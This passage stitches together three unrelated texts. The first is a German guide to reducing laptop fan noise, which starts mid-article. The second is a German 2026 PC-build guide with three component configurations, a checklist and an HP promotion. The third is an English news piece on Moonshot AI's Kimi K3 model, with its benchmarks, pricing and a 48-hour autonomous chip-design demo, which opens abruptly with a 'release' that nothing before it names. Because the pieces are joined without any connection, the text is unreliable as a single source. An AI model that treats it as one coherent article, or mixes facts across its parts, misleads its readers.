Die gründliche Reinigung: Bei vielen Geräten lässt sich die Bodenplatte relativ einfach entfernen. Im Inneren kann der Staub dann mit einem weichen Pinsel oder einem antistatischen Sauger direkt an Kühlkörper und Lüfter entfernt werden. Besonders die feinen Lamellen setzen sich dort oft vollständig zu, ohne dass man es von außen sieht. Lesen Sie dazu auch unseren Ratgeber “So reinigen Sie PC und Laptop richtig“.

Software-Tools als unsichtbare Lüfter-Dirigenten

Foundry

Oft ist nicht die Hardware das Problem, sondern die Art, wie das System mit Leistung und Temperatur umgeht. Windows und macOS arbeiten mit dynamischen Temperatur- und Leistungsprofilen, die entscheiden, wann Prozessor und Lüfter hochdrehen. Diese Profile sind ab Werk aber häufig eher auf Sicherheit als auf Lautstärke ausgelegt und reagieren dadurch manchmal zu aggressiv – sprich: laut.

• Energieeinstellungen anpassen: Schon die Wahl des Leistungsprofils kann viel verändern. Für typische Alltagsaufgaben wie Surfen, Textverarbeitung oder Streaming reicht oft ein gedrosselter Modus aus. Dadurch sinkt die CPU-Spitzenlast, und der Lüfter muss weniger leisten.
• Hintergrundprozesse prüfen: Dauerhaftes Lüfterrauschen entsteht häufig durch unsichtbare Last im Hintergrund – etwa durch Browser-Tabs, Cloud-Synchronisation oder Updates. Der Task-Manager (Windows) bzw. die Aktivitätsanzeige (macOS) zeigt Ihnen schnell, welche Prozesse permanent CPU-Leistung ziehen.
• Lüfter- und Leistungssteuerung: Tools wie Fan Control, HWiNFO oder herstellereigene Systeme wie Armoury Crate ermöglichen detaillierte Temperatur- und Lüfterprofile. Damit lassen sich leisere Kurven definieren – etwa mit späterem Hochdrehen der Lüfter oder stabileren Temperaturzonen.

Beachten Sie allerdings: Zu aggressive manuelle Einstellungen können die Temperaturen unnötig in die Höhe treiben oder zu stärkeren Schwankungen führen, wenn das System ständig zwischen Boost und Drosselung pendelt.

Äußere Einflüsse: Standort, Staubbelastung und Lichteinfall

Manchmal liegt das Problem nicht im Notebook selbst, sondern in seiner Umgebung. Besonders kritisch sind Unterlagen, die die Luftzufuhr blockieren. Ein Laptop auf dem Bett, Sofa oder Kissen wirkt auf die Kühlung wie eine Dämmmatte: Die Ansaugöffnungen werden teilweise oder komplett verdeckt, während sich die Wärme unter dem Gerät staut.

Darauf sollten Sie achten:

• Der richtige Untergrund: Immer eine harte, ebene Fläche verwenden. Schon kleine Verbesserungen der Luftzufuhr können die Lüfteraktivität deutlich reduzieren.
• Umgebungstemperatur und Lichteinfall: Direkte Sonneneinstrahlung wird oft unterschätzt. Ein dunkles Notebook auf einem aufgeheizten Schreibtisch kann sich allein durch Umgebungshitze deutlich stärker erwärmen.
• Gehäusematerialien: Hochwertige Geräte aus Aluminium oder Magnesium nutzen das Gehäuse als zusätzlichen Wärmeleiter und verteilen die Hitze besser. Kunststoffgehäuse isolieren stärker, wodurch sich Wärme eher im Inneren staut und Lüfter häufiger aktiv werden müssen.

Hardware-Hilfen: Was bringen Kühlpads im Alltag?

Klim

Wenn Software-Optimierungen und Reinigung nicht mehr ausreichen, kommen externe Kühllösungen ins Spiel – meist in Form von Kühlpads oder sogenannten Cooling Stands. Dabei wird das Notebook auf eine erhöhte Plattform gesetzt, unter der kleine Ventilatoren Luft an die Unterseite des Gehäuses blasen.

Besonders bei Gaming-Laptops oder älteren Geräten unter Dauerlast können die Temperaturen damit messbar sinken. Das ist aber nicht immer die Lösung aller Lüfter-Sorgen und stark vom Aufbau des Gerätes abhängig.

Der vielleicht wichtigere Effekt ist eher indirekter Natur: Viele Kühlpads heben das Notebook leicht an. Dadurch verbessert sich der Luftstrom unter dem Gerät, selbst dann, wenn die Lüfter des Pads nur schwach laufen oder gar nicht aktiv sind. Schon ein größerer Abstand zur Tischplatte kann die passive Kühlung stabilisieren und Wärmestau verhindern.

Technik-Sprung: Neue Notebooks sind im Vorteil

Wer 2026 ein aktuelles Notebook mit Modellen von vor fünf Jahren vergleicht, kann oft einen deutlich ruhigeren Betrieb feststellen. Dafür sind mehrere technologische Entwicklungen verantwortlich, die sich gegenseitig verstärken.

• ARM-basierte Prozessoren: Durch Architekturen wie Apple Silicon und moderne Snapdragon-X-Plattformen haben sich besonders im Ultrabook-Segment sehr energieeffiziente Chips etabliert (etwa von Qualcomm im Windows-Ökosystem). Diese Chips erzeugen bei Alltagslast deutlich weniger Abwärme, wodurch viele Geräte im Büro- und Medienbetrieb sehr leise oder sogar lüfterlos arbeiten können. Bei hoher Dauerlast ist aber auch hier oft noch eine aktive Kühlung notwendig.

• Intelligentere Leistungs- und Kühlsteuerung: Statt klassisch harter Lüfterkurven setzen moderne Systeme zunehmend auf vorausschauende Steuerung. Das bedeutet: Leistung wird schrittweise aufgebaut, Temperaturspitzen werden abgefangen, bevor der Lüfter stark hochdrehen muss. Eine echte KI-Kühlung im strengen Sinn ist das zwar nicht, adaptive Algorithmen sorgen aber für deutlich gleichmäßigere Geräuschverläufe.

• Weiterentwickelte Kühlsysteme: Neben klassischen Heatpipes kommen in leistungsstärkeren Geräten häufiger Vapor-Chamber-Systeme zum Einsatz, die Wärme großflächiger verteilen. In High-End-Modellen werden zudem neue Materialien und Verbundlösungen getestet, um Wärme schneller vom Chip ins Gehäuse abzuleiten. Das Ziel ist weniger maximale Kühlung, sondern ein stabileres Temperaturverhalten mit weniger Lüfterspitzen.

Profi-Ausrüstung: So machen Sie Ihr System flüsterleise

Mit dem richtigen Zubehör lässt sich die Lautstärke eines Notebooks oft weiter senken – entweder durch zusätzliche Kühlung im Alltag oder durch gezielte Hardware-Upgrades.

Eine Hardware-Lösung sind etwa externe Vakuum-Kühler wie der Klim Tempest Laptop Kühler. Solche Geräte werden direkt an die Lüftungsauslässe des Notebooks angesetzt und ziehen die warme Luft aktiv aus dem Gehäuse. Besonders bei älteren oder stark belasteten Geräten kann das die Temperaturen unter Last spürbar senken. Allerdings hängt die Wirkung davon ab, wie gut die Luftführung des jeweiligen Notebooks konstruiert ist.

Für den klassischen Schreibtischbetrieb sind Kühlpads eine deutlich einfachere, weil universelle Lösung. Modelle wie das Targus Cooling Pad kombinieren eine leicht erhöhte Ablagefläche mit integrierten Ventilatoren, die Luft unter das Notebook fächern. Dadurch verbessert sich der Luftstrom an der Gehäuseunterseite, was vor allem bei Geräten mit schwächerer Kühlkonstruktion einen stabileren Temperaturverlauf unterstützt. Gleichzeitig sorgt der Neigungswinkel für eine angenehmere Arbeitshaltung.

Wer den konsequentesten Schritt Richtung Ruhe gehen möchte, kommt aber oft nicht um ein moderneres Gerät herum. Besonders energieeffiziente Notebooks wie das Apple MacBook Air zeigen, wie weit sich die Geräuschentwicklung inzwischen reduzieren lässt. Durch sehr geringe Abwärme im Alltagsbetrieb bleibt das Kühlsystem oft inaktiv oder arbeitet nur minimal – im Büro- und Medienalltag ist das Gerät praktisch unhörbar.

Fazit

Ein lautes Notebook ist selten ein isoliertes Problem. Meistens ist es ein Zusammenspiel aus mehreren Faktoren: Staub im Inneren, ungünstige Aufstellung, alternde Wärmeleitpaste und eine Kühlstrategie, die nicht mehr optimal arbeitet.

Die gute Nachricht: In vielen Fällen lässt sich die Lautstärke mit überschaubarem Aufwand deutlich reduzieren. Eine gründliche Reinigung, bessere Luftzufuhr und ein bewusster Umgang mit Energieprofilen reichen oft schon aus, um das Lüfterverhalten spürbar zu beruhigen.

Wenn das nicht mehr reicht, zeigt der Blick auf moderne Geräte, wie stark sich die Technik verändert hat. Effiziente Prozessoren und optimierte Kühlsysteme sorgen heute dafür, dass Leistung nicht mehr automatisch mit Lautstärke bezahlt werden muss.

Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem äußerst angespannten Markt konfrontiert.

PROMOTION

Ihr Laptop kann nur ein Ding? Dieses 2-in-1-Modell passt sich Ihrem Workflow an

Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der Intel® Core™ 7 Prozessor sorgt für flüssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz für Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurück auf 50 % Akkuladung.

Erfahren Sie mehr über das HP OmniBook 5 Flip

Gleichzeitig ist die technische Verlockung groß: Mit Nvidias Blackwell-Architektur (RTX 50-Serie) und AMDs effizienten Ryzen-9000-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: Nein, zumindest nicht in absehbarer Zeit. Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.

Foundry

Drei Beispiel-Konfigurationen: Für jeden Anspruch das richtige Setup

Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten für ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.

Konfiguration 1: Der Office- und Alltags-PC

AMD

Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle

Fürs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, günstig und bietet mehr als genug Leistung für typische Office- und Alltagsanwendungen.

• Preisrahmen: ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 5 5600G – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.
  • Alternative: Intel Core i3-14100 – Reicht für reine Office-Arbeiten ebenfalls völlig aus. Wichtig: Achten Sie darauf, nicht aus Versehen die 14100F-Variante zu kaufen, weil dieser Version die Grafikeinheit fehlt.
• Mainboard: Gigabyte B550M DS3H (für AMD) oder Asus Prime B760M-K D4 (für Intel). Beide Boards setzen auf den günstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen Anschlüsse für den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze für NVMe-SSDs und genügend Erweiterungsmöglichkeiten für spätere Upgrades.
• Arbeitsspeicher (RAM): 16 GB DDR4-3200 (z.B. Patriot Memory Viper Elite II DDR4 2x8GB, CL18). Dieser Arbeitsspeicher ist für flüssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.
• Speicherplatz: 500 GB PCIe 4.0 NVMe SSD (z.B. Crucial P310 SSD 500GB M.2 NVMe). Die SSD sorgt für blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur 1-TB-Variante greifen.
• Gehäuse: Das Montech Air 100 ist ein kompaktes Micro-ATX-Gehäuse, das für rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte Lüfter und eine Mesh-Front für leisen, kühlen Betrieb.
• Netzteil: Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum be quiet! System Power 11 450W greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.
  
  

Konfiguration 2: Casual-Gaming und Videoschnitt-PC

Asus

Wer aktuelle Spiele flüssig genießen oder mit Adobe Premiere und DaVinci Resolve kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.

• Preisrahmen: ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: Der Intel Core Ultra 5 245KF bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. Für rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung für flüssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.
  • Alternative: Der AMD Ryzen 7 9700X ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.
• Mainboard: Das Asus TUF Gaming Z890-Plus (für Intel) oder das MSI MAG B650 Tomahawk WiFi (für AMD). Beide bieten moderne PCIe-Slots und solide Kühlung für die Spannungswandler.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich für flüssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5060 mit 8 GB (z.B. Asus Prime GeForce RTX 5060 8GB OC Edition). Diese Karte ist eine solide Wahl für klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch für Content Creation gut geeignet ist. 8-GB-VRAM reichen für die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. Für spürbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum Ti-Modell greifen (+ 80 Euro).
  • Preis-Alternative: AMD Radeon RX 9060 XT mit 8 GB (z.B. Gigabyte Radeon RX 9060 XT 8GB). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. Für rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.
• Speicherplatz: 2 TB PCIe 4.0 NVMe SSD (z.B. WD_BLACK SN850X NVMe SSD). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt für verzögerungsfreie Arbeitsabläufe.
• Gehäuse: Fractal Design North XL – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fügt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch für Komponenten mit hoher Wärmeentwicklung.
• Netzteil: 750 Watt ATX 3.1 (z.B. Seasonic Focus GX ATX 3.1) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss für RTX-Karten und genügend Puffer für Leistungsspitzen.
  
  

Konfiguration 3: High-End-System für Gaming und Content Creation

Gigabyte

Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. Hinweis: Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.

• Preisrahmen: 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 9 9900X3D – Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren überhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.
  • Günstigere Alternative: AMD Ryzen 9 9900X – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär für 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.
• Mainboard: Asus ROG Strix X870E-E Gaming – Ein ATX-Powerhouse für den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-Anschlüssen, Wi-Fi 7 und voller PCIe‑5.0‑Unterstützung bietet es moderne Konnektivität.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa für aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum 64-GB-Kit und muss den Preissprung zwangsläufig hinnehmen.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5080 mit 16 GB (z.B. MSI GeForce RTX 5080 16GB GDDR7) – Das Werkzeug für kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.
  • Highend-Alternative: Nvidia GeForce RTX 5090 mit 32 GB (z.B. Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die für maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.
• Speicherplatz: 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0) – Für kürzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg über die CPU direkt von der SSD zu laden.
• Gehäuse:
  
  • Standard: be quiet! Shadow Base 800 FX Black – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-Lüftern und einer integrierten Lüfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz für große 420-mm-Radiatoren und überlange Grafikkarten.
  • Design-Alternative: Lian Li O11 Dynamic EVO XL – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren für aufwendige Wasserkühlungen.
• Netzteil: 1000 Watt ATX 3.1 (z.B. Corsair RMx Shift oder be quiet! Straight Power 12). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-Unterstützung bietet dafür ausreichende Reserven.

Ihre Kauf-Checkliste für 2026

Anucha Tiemsom/Shutterstock.com

Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prüfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:

• Airflow bei Gaming-Systemen beachten: Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade für High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt für frische Luft, hält die Temperaturen niedrig und ermöglicht es den Gehäuselüftern, auch unter Last angenehm leise zu arbeiten.
• HDD stirbt langsam aus: Für Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als günstiger Datenspeicher für Backups und große Medienarchive – alles andere macht die SSD.
• Netzteil-Standards beachten: Neue Grafikkarten benötigen moderne Anschlüsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue ATX-3.1-Zertifizierung.
• RAM-Sweetspot treffen: Greifen Sie maximal zu DDR5-6000-Speicher. Alles darüber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spürbaren Mehrwert.
• Mainboard-Features geschickt wählen: Bezahlen Sie nicht für Anschlüsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.
• Kühlung richtig dimensionieren: Für Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-Luftkühler für 40 Euro oft aus. Teure Komplettwasserkühlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.

Fazit: Clever kaufen trotz Krise

Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt spürbar verzerrt und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.

Die Devise lautet deshalb: Priorisieren statt Verzweifeln. Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.

The release, timed to land just ahead of the 2026 World Artificial Intelligence Conference in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.

Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take Kimi K3 for a spin right now, you can — just head to kimi.com, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.

Inside the architecture that powers the world's largest open-source AI model

Kimi K3 is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than DeepSeek's V4 Pro, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."

The model is built on two key architectural innovations developed internally at Moonshot AI: Kimi Delta Attention, a hybrid linear attention mechanism, and Attention Residuals, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on GitHub.

On the API side, Kimi K3 is compatible with the OpenAI SDK, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.

As Xinhua reported, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."

Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard

The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.

On GDPval-AA v2, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).

On AA-Briefcase, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).

Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on BrowseComp, a benchmark for long-horizon, high-difficulty information seeking.

The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.

As one widely followed AI commentator put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."

That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.

How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions

Beyond raw benchmarks, Moonshot AI showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.

In a demonstration documented in the company's technical materials, Kimi K3 was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.

This is not a production chip. It is a demonstration of what Moonshot AI clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.

The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal I-Love-Q relation — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.

Moonshot AI's fall and rise tells the story of China's brutal AI market

To understand why Kimi K3 matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.

Founded in 2023 by Yang Zhilin, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its Kimi platform for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly $1.5 billion across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly seeking a new round at $5 billion.

Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.

Kimi K3 is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.

Why open-sourcing the world's biggest model is a geopolitical chess move

The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.

The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like DeepSeek (1.6T), Xiaomi (1.02T), and Alibaba (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.

This follows a broader trend among Chinese AI companies. As Reuters noted, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.

For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.

That said, Moonshot AI has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.

Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play

Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. Kimi Code, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.

The Kimi Code CLI has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.

This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, Claude Code reached $1 billion in annualized recurring revenue. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.

The company's model lineup now includes three tiers: K3 as the flagship ($3/$15 per million tokens for input/output), K2.7 Code as a specialized coding model ($0.95/$4), and K2.6 as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.

What Kimi K3 means for the future of enterprise AI and the global model landscape

Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.

The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.

The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.

And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."

Xinhua, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.

